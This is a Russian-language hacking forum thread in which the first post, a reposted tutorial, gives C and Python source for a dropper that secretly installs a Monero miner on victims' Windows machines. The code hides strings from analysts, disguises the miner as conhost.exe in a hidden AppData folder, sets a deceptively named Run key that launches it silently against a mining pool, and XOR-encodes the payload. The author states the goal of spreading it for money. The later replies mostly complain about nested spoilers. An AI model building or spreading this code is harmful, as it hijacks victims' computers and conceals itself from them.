Загрузка...

Скрытый майнер из "говна и палок"

Тема в разделе Вирусология создана пользователем LouisVuitton_inactive2507987 1 ноя 2019. 1056 просмотров

  1. LouisVuitton_inactive2507987
    LouisVuitton_inactive2507987 Автор темы 1 ноя 2019 Сука хочет денег 40 30 июл 2019
    Сложная статья и Спизжена с другого форума.

    По стопам цикла из говна и палок.

    Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые ****ят дедики, лол.

    Приступим.
    По стопам цикла из говна и палок.
    Сегодня я вам покажу, как сделать скрытый майнер Monero из говна и палок, в прямом смысле этого слова. Так как вижу, что тема актуальна, особенно это понимают те, которые ****ят дедики, лол.
    Приступим.
    Часть 0. Необходимое
    1) Майнер Monero. Самый эффективный на данный момент от Wolf'а. Так сложилось, что майнинг алгоритмом cryptonight гораздо эффективнее на CPU, так как тот же Wolf в отличии от других алгоритмов юзает расширение команд AES.
    2) Гейт на котором будем майниться. Заюзаем не требующий регистрации dwarfpool
    3) Visual Studio и скрипт bin2src
    Часть 1. Архитектура скрытого майнера
    Архитектура будет такой:
    x64 ****пер, который будет ****ать на авторан js скрипт, запускающий майнер в скрытом режиме. ****ать будет либо версию с поддержкой AES-расширения, либо без поддержки. Самоудаляться.
    То есть, порядок сборки:
    Пишем каркас ****ера, перегоняем файлы майнера в массив при помощи bin2src, компейлируем и распространяем, ловя кэш на булочки в столовке.
    Часть 2. ****пер
    ****ер будет прост как лопата. Определяем поддержку AES через cpuid и в зависимости от этого ****аем в аппдату определенные версии майнеров, ставим на авторан js файл который их будет врубать в скрытом режиме
    Напишем функцию определяющую поддержку AES.
    #include <intrin.h>
    ...
    BOOL aes() // вернет тру если поддерживает
    {
    int CPUInfo[4];
    __cpuid(CPUInfo, 1);
    return (CPUInfo[2] & (1 << 25)) != 0;
    }
    [SPOILER] Далее научим ****ер блеваться майнерами в аппдату, для начала найдем эту самую аппдату
    BOOL GetAppData(LPWSTR lpBuffer, DWORD dwSize)
    {
    WCHAR szAppData[] = { L'A', L'p', L'p', L'D', L'a', L't', L'a', L'\0' };
    DWORD dwRet = GetEnvironmentVariableW(szAppData, lpBuffer, dwSize);
    return ((dwRet > 0) && (dwRet <= dwSize));
    }
    Этот код получит из системной переменной путь до аппдаты и положит в lpBuffer размером dwSize, вернув true если все оки шмоки. Кстати, извращения с таким написанием аппдатой нужны для того, чтобы в той же IDA при просмотре строк не было видно AppData, так как в данном случае она собирается прямиком на стеке, либо при помощи mov, либо push ( в зависимости от флагов оптимизации )
    [SPOILER] Шик, теперь прихуярим создание поддиректории в аппдате
    Код
    BOOL CreateSubdir(LPWSTR lpPath, LPWSTR lpDirName)
    {
    typedef BOOL (WINAPI *fnCreateDirectory)(
    _In_ LPWSTR lpPathName,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes
    );

    CHAR szCreateDirectory[] = { 'C', 'r', 'e', 'a', 't', 'e', 'D', 'i', 'r', 'e', 'c', 't', 'o', 'r', 'y', 'W', '\0' };
    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };

    fnCreateDirectory fpCreateDirectory = (fnCreateDirectory)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateDirectory);

    if (!fpCreateDirectory)
    return FALSE;

    LPWSTR lpNewPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpNewPath)
    return FALSE;

    wsprintfW(lpNewPath, L"%s\\%s", lpPath, lpDirName);

    BOOL bRet = fpCreateDirectory(lpNewPath, 0);

    if (GetLastError() == ERROR_ALREADY_EXISTS)
    bRet = TRUE;

    VirtualFree(lpNewPath, 0, MEM_RELEASE);
    return bRet;

    }
    [SPOILER] очевидно читатель уже изрядно охуел от такой сборки строк на стеке. Так что отвечу: нет, я не мазохист, за меня все делает этот збс самодельный скрипт
    Код
    #/usr/bin/python

    import sys
    from Tkinter import Tk

    if len(sys.argv) < 3:
    print "stackstring.py <string> W/A"
    sys.exit(1)

    prefix = '';
    array = 'CHAR arr[] = {'
    if (sys.argv[2] == 'W'):
    prefix = 'L'
    array = 'WCHAR arr[] = {'

    i = 0
    while i < len(sys.argv[1]):
    chr = sys.argv[1][i]
    if (chr == '\\'):
    chr = '\\\\'
    i += 1
    array+=prefix + "'" + chr + "'"
    if (i != len(sys.argv[1]) - 1):
    array+= ", "
    i += 1

    array += ", " + prefix + "'\\0'"

    array += "};"

    r = Tk()
    r.withdraw()
    r.clipboard_clear()
    r.clipboard_append(array)
    r.destroy()

    print array
    [SPOILER] Теперь осталось сделать код, который ****нет все это дело в созданную директорию
    Код
    HANDLE MyCreateFileW(LPWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwCreationDisposition)
    {
    typedef HANDLE (WINAPI *fnCreateFileW)(
    _In_ LPWSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
    );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szCreateFileW[] = { 'C', 'r', 'e', 'a', 't', 'e', 'F', 'i', 'l', 'e', 'W', '\0' };


    fnCreateFileW fpCreateFileW = (fnCreateFileW)GetProcAddress(GetModuleHandleW(szKernelLib), szCreateFileW);

    if (!fpCreateFileW)
    return FALSE;

    return fpCreateFileW(lpFileName, dwDesiredAccess, FILE_SHARE_READ, 0, dwCreationDisposition, FILE_ATTRIBUTE_HIDDEN, 0);

    }

    BOOL MyWriteFile(HANDLE hFile, LPBYTE lpByteCode, DWORD dwSize)
    {
    typedef BOOL (WINAPI *fnWriteFile)(
    _In_ HANDLE hFile,
    _In_ LPVOID lpBuffer,
    _In_ DWORD nNumberOfBytesToWrite,
    _Out_opt_ LPDWORD lpNumberOfBytesWritten,
    _Inout_opt_ LPOVERLAPPED lpOverlapped
    );

    WCHAR szKernelLib[] = { L'K', L'e', L'r', L'n', L'e', L'l', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
    CHAR szWriteFile[] = { 'W', 'r', 'i', 't', 'e', 'F', 'i', 'l', 'e', '\0' };

    fnWriteFile fpWriteFile = (fnWriteFile)GetProcAddress(GetModuleHandleW(szKernelLib), szWriteFile);


    if (!fpWriteFile)
    return FALSE;

    DWORD dwWritten;
    return fpWriteFile(hFile, lpByteCode, dwSize, &dwWritten, 0);
    }

    BOOL DropArray(LPWSTR lpPath, LPWSTR lpName, LPBYTE lpByteCode, DWORD dwSize)
    {
    LPWSTR lpNewName = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpName)
    return FALSE;

    wsprintfW(lpNewName, L"%s\\%s", lpPath, lpName);

    BOOL bRet = FALSE;
    HANDLE hFile = MyCreateFileW(lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {
    bRet = MyWriteFile(hFile, lpByteCode, dwSize);
    CloseHandle(hFile);
    }

    VirtualFree(lpNewName, 0, MEM_RELEASE);
    return bRet;
    }
    [SPOILER] Ну и собрать воедино

    Код
    unsigned char lpMinerAes[] = { 0, 0 };
    unsigned char lpMinerNoAes[] = { 0, 0 };


    BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
    {
    BOOL bRet = FALSE;

    return bRet;
    }

    BOOL DropMiner(BOOL bAes)
    {
    LPWSTR lpPath = (LPWSTR)VirtualAlloc(0, 512, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!lpPath)
    return FALSE;

    BOOL bRet = FALSE;

    if (GetAppData(lpPath, 256))
    {
    if (CreateSubdir(lpPath, L"Runion"))
    {
    lstrcatW(lpPath, L"\\Runion");
    if (DropArray(lpPath, L"conhost.exe", ((bAes == TRUE) ? lpMinerAes : lpMinerNoAes),
    ((bAes == TRUE) ? sizeof(lpMinerAes) : sizeof(lpMinerNoAes))))
    {
    bRet = SetAutorun(lpPath, L"updater.js", L"conhost.exe");
    }

    }
    }

    VirtualFree(lpPath, 0, MEM_RELEASE);
    return bRet;
    }
    [SPOILER]
    Осталось дописать SetAutorun, потом заглушки с lpMinerAes и lpMinerNoAes вынесем в отдельный header-файл, чтобы не мешались
    Честно говоря я уже начал лениться и поэтому дальнейшие действия без динамического импорта, все же статья не об этом ;D
    Код
    VOID MakeCorrection(LPWSTR out, LPWSTR in)
    {
    DWORD OutCounter = 0;
    for (DWORD inCounter = 0; inCounter < lstrlenW(in); inCounter++)
    {
    if (in[inCounter] == L'\\')
    {
    for (DWORD inter = 0; inter < 2; inter++)
    {
    out[OutCounter++] = L'\\';
    }
    }
    else
    {
    out[OutCounter++] = in[inCounter];
    }
    }
    out[OutCounter] = L'\0';
    }

    BOOL WriteJsInFile(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpFileName)
    {

    struct jsCorrect
    {
    WCHAR jsCorrect0[256];
    WCHAR lpNewName[256];
    WCHAR jscriptData[1024];
    };

    jsCorrect* lpjsc = (jsCorrect*)VirtualAlloc(0, sizeof(jsCorrect), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!lpjsc)
    return FALSE;


    BOOL bRet = FALSE;

    wsprintfW(lpjsc->lpNewName, L"%s\\%s", lpPath, lpAutorunName);

    HANDLE hFile = MyCreateFileW(lpjsc->lpNewName, GENERIC_WRITE, CREATE_ALWAYS);

    if (hFile != INVALID_HANDLE_VALUE)
    {

    MakeCorrection(lpjsc->jsCorrect0, lpPath);

    wsprintfW(lpjsc->jscriptData,
    L"var WSHShell = WScript.CreateObject(\"WScript.Shell\");WSHShell.Run('\"%s\\\\%s\" %s', 0);",
    lpjsc->jsCorrect0, lpFileName, L"-t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1"
    );

    bRet = MyWriteFile(hFile, (LPBYTE)lpjsc->jscriptData, lstrlenW(lpjsc->jscriptData) * 2);

    CloseHandle(hFile);

    }
    VirtualFree(lpjsc, 0, MEM_RELEASE);

    return bRet;
    }

    BOOL SetAutorun(LPWSTR lpPath, LPWSTR lpAutorunName, LPWSTR lpMinerName)
    {
    BOOL bRet = FALSE;

    HKEY hKey;

    DWORD ret = RegCreateKeyExW(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
    0, 0, 0, KEY_ALL_ACCESS, 0, &hKey, 0);
    if (ret == ERROR_SUCCESS)
    {


    if (WriteJsInFile(lpPath, lpAutorunName, lpMinerName))
    {
    LPWSTR lpAutorunPath = (LPWSTR)VirtualAlloc(0, 600, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (lpAutorunPath)
    {
    wsprintfW(lpAutorunPath, L"wscript.exe \"%s\\%s\"", lpPath, lpAutorunName);
    ret = RegSetValueExW(hKey, L"Active Directory service", 0, REG_SZ, (LPBYTE)lpAutorunPath, lstrlenW(lpAutorunPath) * 2);
    if (ret == ERROR_SUCCESS)
    {
    bRet = TRUE;
    }
    ShellExecuteW(0, L"open", lpAutorunPath, 0, 0, SW_SHOW);

    RegCloseKey(hKey);
    VirtualFree(lpAutorunPath, 0, MEM_RELEASE);
    }
    }
    }


    return bRet;
    }
    [SPOILER] Собсна этот код ставит на авторан примерно следующее содержимое js:
    Код
    var WSHShell = WScript.CreateObject("WScript.Shell");WSHShell.Run('"C:\\Users\\USERNAME\\AppData\\Roaming\\Runion\\conhost.exe" -t 1 -a cryptonight -o stratum+tcp://xmr-usa.dwarfpool.com:8005 -u YOUR_MONERO_WALLET -p 1', 0);
    [SPOILER]
    И тут же врубает этот js, вместо YOUR_MONERO_WALLET нам нужно вписать наш кошелек монеро для майнинга, а на dwarfpool.com мы сможем мониторить хешрейт. Все вроде просто, да? [IMG]
    Осталось при помощи bin2src скрипта, слегка модифицированного мною чтобы он ксорил все на 0x05 байт перегнать версии майнеров в массивы
    bin2src
    Код
    import os,sys,re,struct

    def bin2src(s,name):
    s=bytearray(s)
    o=""
    o+=("static const unsigned char %s[]={" % name)
    for i in range(0,len(s)):
    if (i%32==0):
    o+=("\n")
    a = s[i]
    a ^= 0x5
    o+=("0x%2.2X," % a)
    o+=("\n};\n")
    return o

    l=len(sys.argv)
    if l<3:
    print "Error: invalid argument\npython bin2src.py file.bin name file.c"
    sys.exit()
    f=open(sys.argv[1],"rb")
    data=f.read()
    f.close()

    name=sys.argv[2]
    fout=sys.argv[3]

    data=bin2src(data,name)
    f=open(fout,"wb+")
    f.write(data)
    f.close()
    print "Done"
    [SPOILER]
    Перегоняем в массив, билдим и готово

    Не забываем сделать декрипт массива при старте софта и скачать при помощи, например, URLDownloadToFile необходимые дллки с любой файлопомойки с прямой ссылки ( например dropbox ).[/SPOILER][/SPOILER][/SPOILER][/SPOILER][/SPOILER][/SPOILER][/SPOILER][/SPOILER][/SPOILER]
     
  2. hex
    hex 1 ноя 2019 503 9 май 2018
    Ебаные спойлеры, впизду
     
  3. LouisVuitton_inactive2507987
    LouisVuitton_inactive2507987 Автор темы 1 ноя 2019 Сука хочет денег 40 30 июл 2019
    hex, хахахаххахахах хха посмотри их все до конца
     
  4. Работяга_неактив621235
    Работяга_неактив621235 1 ноя 2019 Я бы изменил мир, но они не дают мне исходник... 326 15 окт 2018
  5. АМС
    АМС 1 ноя 2019 ланвин 244 11 май 2019
    очень интересно, но нихуя не понятно:2011_like:
     
  6. destery
    destery 1 ноя 2019 Заблокирован(а) 492 17 ноя 2018
  7. Loover_inactive979117
    Loover_inactive979117 1 ноя 2019 nothing has protection 3 16 мар 2019
    сложна сложна нихуя не понятно
     
  8. r1chi_inactive2411360
    r1chi_inactive2411360 1 ноя 2019 Заблокирован(а) 34 12 июн 2019
    СУГА МНОГО СПОЙЛЭРОВ
     
  9. Работяга_неактив621235
    Работяга_неактив621235 1 ноя 2019 Я бы изменил мир, но они не дают мне исходник... 326 15 окт 2018
  10. Loover_inactive979117
    Loover_inactive979117 1 ноя 2019 nothing has protection 3 16 мар 2019
  11. DigitalSF
    DigitalSF 1 ноя 2019 5 19 окт 2019
    Блин блять у меня спойлер с монитора выпал :roflanSad:
     
  12. Loover_inactive979117
    Loover_inactive979117 1 ноя 2019 nothing has protection 3 16 мар 2019
    hex, оруъ
     
  13. Retrl
    Retrl 1 ноя 2019 $uicideboy$ in heart <3 0 27 фев 2017
    чо так по уебански то
     
  14. whom
    whom 1 ноя 2019 Качественная разработка lolz.live/threads/7145903
    Работяга_неактив621235, для меня как для кодера, послужит обучением. НО СУКА СПОЙЛЕРЫ В ЖОПУ СЕБЕ ЗАСУНЬ
     
  15. LouisVuitton_inactive2507987
    LouisVuitton_inactive2507987 Автор темы 1 ноя 2019 Сука хочет денег 40 30 июл 2019
    whom, АХХАХАХХААХХАХАХАХХА, скажите, как делать чтобы они не были друг за другом
     
  16. Tuco
    Tuco 1 ноя 2019 Субъективная критика 559 19 авг 2018
    Автор реально децил, перепутал разделы и собрал спойлер из говна и палок
     
  17. LouisVuitton_inactive2507987
    LouisVuitton_inactive2507987 Автор темы 1 ноя 2019 Сука хочет денег 40 30 июл 2019
    Tuco, обидно
     
Загрузка...
Top